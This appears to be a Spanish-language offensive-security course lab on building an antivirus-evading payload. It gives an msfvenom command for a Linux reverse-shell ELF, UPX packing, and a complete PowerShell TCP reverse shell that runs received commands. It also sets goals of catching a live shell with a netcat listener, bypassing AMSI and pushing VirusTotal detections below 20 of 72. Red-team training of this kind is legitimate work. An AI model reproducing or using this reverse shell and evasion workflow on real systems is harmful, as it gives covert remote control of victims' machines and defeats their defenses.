Lab 6: Desarrollo de Payload Indetectable

Objetivo

Generar un payload, aplicarle técnicas de ofuscación y verificar su detectabilidad.

Prerrequisitos

  • Kali Linux
  • Cuenta en VirusTotal (API key gratuita)

Entorno

# Instalar herramientas
pip install requests
apt install msfvenom upx-x86 -y

Escenario

Desarrolla un payload de reverse shell que evada la detección de antivirus básicos.

Pasos

Paso 1: Generar Payload Base

# Payload básico
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.5 LPORT=443 -f elf -o shell_basic.elf

# Verificar con VirusTotal (usar API)
# Documentar detecciones: X/70

Paso 2: Ofuscación con UPX

# Comprimir con UPX
upx -9 -o shell_packed.elf shell_basic.elf

# Verificar detección

Paso 3: Ofuscación PowerShell

# Script de reverse shell ofuscado
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.5",443)
$stream = $client.GetStream()
[byte[]]$buf = 0..65535|%{0}
while($data = $stream.Read($buf, 0, $buf.Length)) {
    $sendback = (iex $data 2>&1 | Out-String )
    $sendbuf = [Text.Encoding]::UTF8.GetBytes($sendback)
    $stream.Write($sendbuf, 0, $sendbuf.Length)
}
$client.Close()

Paso 4: Comparativa

Payload Tamaño Detección VT Notas
Basic
UPX
Ofuscado

Entregable

Archivo: payload_analysis.md

Incluir: - Screenshots de VirusTotal - Comparativa de detectabilidad - Recomendaciones para reducir detección

Resultado Esperado

Al completar el lab, el estudiante debe haber medido cuantitativamente la efectividad de las técnicas de evasión:

  1. Tabla comparativa completa: Los 3 payloads enviados a VirusTotal con resultados numéricos reales (ej. Basic: 42/72, UPX: 31/72, Ofuscado: 18/72).
  2. Reverse shell funcional: Captura del listener nc -lvnp 443 recibiendo la conexión del payload generado, mostrando prompt de shell interactiva.
  3. AMSI bypass documentado (si aplica Windows): Output de PowerShell mostrando que amsiInitFailed fue activado antes de ejecutar el script.
  4. Reducción de detección: Al menos una técnica que reduzca la detección en ≥15 motores AV respecto al payload base.

Flag de completitud: Screenshot de VirusTotal con el payload final mostrando menos de 20/72 detecciones, o justificación técnica si no se logró.

Recursos